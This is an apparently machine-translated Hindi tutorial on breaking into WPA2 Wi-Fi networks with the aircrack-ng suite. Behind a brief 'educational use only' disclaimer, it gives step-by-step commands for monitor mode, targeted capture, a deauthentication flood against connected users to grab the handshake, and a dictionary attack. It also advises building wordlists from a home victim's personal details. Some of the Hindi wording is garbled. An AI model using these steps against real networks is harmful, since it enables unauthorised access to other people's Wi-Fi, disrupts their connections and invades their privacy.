🔳 🤱🏿 🤸🏼 वाई-फाई पासवर्ड एयरक्रैक-एनजी के साथ मेल खाता है 👁‍🗨 🏧 🥈

यह लेख पूरी तरह से शैक्षिक और अनुसंधान उद्देश्यों के लिए लिखा गया है। हम आपसे नेटवर्क और कानून के साथ काम करने के नियमों का पालन करने का आग्रह करते हैं, साथ ही सूचना सुरक्षा के बारे में हमेशा याद रखते हैं।

परिचय

1990 के दशक की शुरुआत में, जब वाई-फाई सिर्फ दिखाई दिया, वायर्ड इक्विवेलेंट प्राइवेसी एल्गोरिदम बनाया गया था, जो कि वाई-फाई नेटवर्क की गोपनीयता को सुनिश्चित करने वाला था। हालांकि, WEP एक अप्रभावी सुरक्षा एल्गोरिथ्म साबित हुआ है जो दरार करना आसान है।

नया वाई-फाई प्रोटेक्टेड एक्सेस II प्रोटेक्शन एल्गोरिदम, जिसका उपयोग ज्यादातर वाई-फाई एक्सेस पॉइंट द्वारा किया जाता है, इसे बदलने के लिए आया है। WPA2 एक एन्क्रिप्शन एल्गोरिथ्म, एईएस का उपयोग करता है, जिसे क्रैक करना बेहद मुश्किल है।

और भेद्यता कहाँ है?

WPA2 का नुकसान यह है कि एन्क्रिप्टेड पासवर्ड तब प्रसारित होता है जब उपयोगकर्ता तथाकथित 4-वे हैंडशेक (4-वे हैंडशेक) के दौरान कनेक्ट होते हैं। यदि हम एक हैंडशेक को पकड़ते हैं, तो हम एन्क्रिप्टेड पासवर्ड का पता लगाएंगे और हमें केवल इसे डिक्रिप्ट करने की आवश्यकता है। इस उद्देश्य के लिए हम एयरक्रैक-एनजी का उपयोग करेंगे।

तो हैक कैसे करें?

चरण 1. इंटरफ़ेस को परिभाषित करें

पहले आपको यह पता लगाना होगा कि हमें किस नेटवर्क इंटरफ़ेस की आवश्यकता है, इसके लिए हम कमांड दर्ज करते हैं:

$ ifconfig

हमें जवाब मिलता है:

 eth0     no wireless extensions. wlan0    IEEE 802.11abgn ESSID:off/any Mode:Managed Access Point: Not-Associated  Tx-Power=15 dBm Retry short limit:7  RTS thr:off  Fragment thr:off Encryption key:off Power Management:off lo       no wireless extensions

मेरे मामले में, केवल तीन इंटरफेस हैं, जिनमें से दो में वायरलेस एक्सटेंशन नहीं हैं। इसलिए, हम केवल wlan0 में रुचि रखते हैं।

चरण 2. नेटवर्क एडाप्टर को मॉनिटरिंग मोड में रखें

नेटवर्क एडॉप्टर को मॉनिटरिंग मोड में रखने से हम अपने पास मौजूद वायरलेस ट्रैफ़िक को देख पाएंगे। ऐसा करने के लिए, कमांड दर्ज करें:

 $ airmon-ng start wlan0

कृपया ध्यान दें कि एयरमोन-एनजी ने आपके इंटरफ़ेस का नाम बदल दिया है (मैंने इसे मोन 0 कहना शुरू किया, लेकिन आपको अभी भी जांच करनी चाहिए)।

चरण 3. हम यातायात को रोकते हैं

अब जब हमारा नेटवर्क एडॉप्टर मॉनिटरिंग मोड में है, तो हम एरोडम्प-एनजी कमांड का उपयोग करके हमें गुजरने वाले ट्रैफ़िक को पकड़ सकते हैं। दर्ज करें:

 $ airodump-ng mon0

ध्यान दें कि सभी दृश्य पहुंच बिंदु स्क्रीन के शीर्ष पर सूचीबद्ध हैं, और क्लाइंट स्क्रीन के नीचे सूचीबद्ध हैं।

चरण 4. हम एक विशिष्ट पहुंच बिंदु पर अवरोधन को केंद्रित करते हैं।

हमारा अगला कदम एक्सेस के बिंदुओं और इसके चैनल पर हमारे प्रयासों को केंद्रित करना है। हम BSSID और एक्सेस प्वाइंट के चैनल नंबर में रुचि रखते हैं, जिसे हम क्रैक करेंगे। चलो दूसरा टर्मिनल खोलें और दर्ज करें:

 $ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0

08: 86: 30: 74: 22: 76 बीएसएसआईडी पहुंच बिंदु
-सी 6 चैनल जिस पर वाई-फाई एक्सेस प्वाइंट काम करता है
WPAcrack फ़ाइल जिस पर हाथ मिलाना लिखा है
निगरानी मोड में mon0 नेटवर्क एडाप्टर

जैसा कि आप ऊपर स्क्रीनशॉट में देख सकते हैं, अब हम चैनल पर Belkin276 ESSID के साथ एक एक्सेस पॉइंट से डेटा कैप्चर करने पर ध्यान केंद्रित कर रहे हैं। हम टर्मिनल को खुला छोड़ देते हैं!

चरण 5. एक हाथ मिलाना

एन्क्रिप्ट किए गए पासवर्ड को पकड़ने के लिए, हमें क्लाइंट को प्रमाणित करने की आवश्यकता है (वाई-फाई से कनेक्ट करें)। यदि यह पहले से ही प्रमाणित है, तो हम इसे डिस्कनेक्ट (डिस्कनेक्ट) कर सकते हैं, फिर सिस्टम स्वचालित रूप से पुन: प्रमाणित (कनेक्ट) करेगा, जिसके परिणामस्वरूप हम एक एन्क्रिप्टेड पासवर्ड प्राप्त कर सकते हैं।

यही है, हमें बस कनेक्ट किए गए उपयोगकर्ताओं को डिस्कनेक्ट करने की आवश्यकता है ताकि वे फिर से कनेक्ट हों। ऐसा करने के लिए, दूसरा टर्मिनल खोलें और दर्ज करें:

 $ aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0

100 उपयोगकर्ताओं को बधिया किए जाने की संख्या
08: 86: 30: 74: 22: 76 बीएसएसआईडी पहुंच बिंदु
mon0 नेटवर्क एडेप्टर

अब, पुन: कनेक्ट करते समय, पिछले चरण में हमने जो विंडो छोड़ी थी, वह हैंडशेक को पकड़ेगी। आइए अपने टर्मिनल एरोडम्प-एनजी पर वापस जाएं और देखें।

दाईं ओर शीर्ष रेखा पर ध्यान दें, एरोडम्प-एनजी मुद्रित: "हैंडशेक डब्ल्यूपीए"। यही है, हमने एन्क्रिप्टेड पासवर्ड को सफलतापूर्वक कैप्चर किया है! यह सफलता का पहला कदम है!

चरण 6. एक पासवर्ड चुनें

अब जब हमारे पास हमारी WPAcrack फ़ाइल में एन्क्रिप्टेड पासवर्ड है, तो हम पासवर्ड अनुमान लगाना शुरू कर सकते हैं। लेकिन इसके लिए हमें पासवर्ड के साथ एक सूची होनी चाहिए जिसका हम उपयोग करना चाहते हैं। आप Google में 5 मिनट में ऐसी सूची पा सकते हैं। मैं aircrack-ng में शामिल डिफ़ॉल्ट पासवर्ड सूची का भी उपयोग करूंगा: BackTrack darkcOde।

एक नया टर्मिनल खोलें और दर्ज करें:

 $ aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de

WPAcrack-01.cap फ़ाइल जिसमें हमने हैंडशेक (airodump-ng को -01 .cap के अंत में जिम्मेदार ठहराया) लिखा था
/ pentest / पासवर्ड / शब्द सूची / पासवर्ड सूची के लिए darkc0de निरपेक्ष पथ

इसमें कितना समय लगेगा?

इस प्रक्रिया में लंबा समय लग सकता है। यह सब आपकी पासवर्ड सूची की लंबाई पर निर्भर करता है, आप कई मिनटों से कई दिनों तक प्रतीक्षा कर सकते हैं। मेरे दोहरे कोर इंटेल प्रोसेसर पर, एयरक्रैक-एनजी पिक सिर्फ 800 से अधिक पासवर्ड प्रति सेकंड।

जब पासवर्ड मिल जाएगा, तो यह आपकी स्क्रीन पर दिखाई देगा। पासवर्ड अनुमान लगाना सफल है या नहीं यह आपकी सूची पर निर्भर करता है। यदि आपको एक सूची से पासवर्ड नहीं मिल रहा है, तो निराशा न करें, दूसरा प्रयास करें।

उपयोग युक्तियाँ

इस प्रकार का हमला एक सूची से पासवर्ड अनुमान लगाने के लिए प्रभावी है, लेकिन यादृच्छिक अनुमान लगाने के लिए व्यावहारिक रूप से बेकार है। यह सब समय की बात है। यदि वाई-फाई को लैटिन अक्षरों और संख्याओं के औसत पासवर्ड द्वारा संरक्षित किया जाता है, तो यादृच्छिक चयन में कई साल लगेंगे।
पासवर्ड सूची चुनते समय, भौगोलिक कारकों पर विचार करना सुनिश्चित करें। उदाहरण के लिए, पासवर्ड की रूसी सूची के अनुसार पेरिस रेस्तरां में चयन करने का कोई मतलब नहीं है।
यदि आप घर वाई-फाई हैक करते हैं, तो पीड़ित के किसी भी व्यक्तिगत डेटा (नाम, उपनाम, जन्म तिथि, कुत्ते का नाम आदि) का पता लगाने की कोशिश करें और इस डेटा से पासवर्ड की एक अतिरिक्त सूची बनाएं।
हैंडशेक पकड़ने के बाद, aireplay-ng (सामान्य उपयोगकर्ताओं को पीड़ित न करें) का संचालन बंद करें।

वाई-फाई पासवर्ड एयरक्रैक-एनजी के साथ मेल खाता है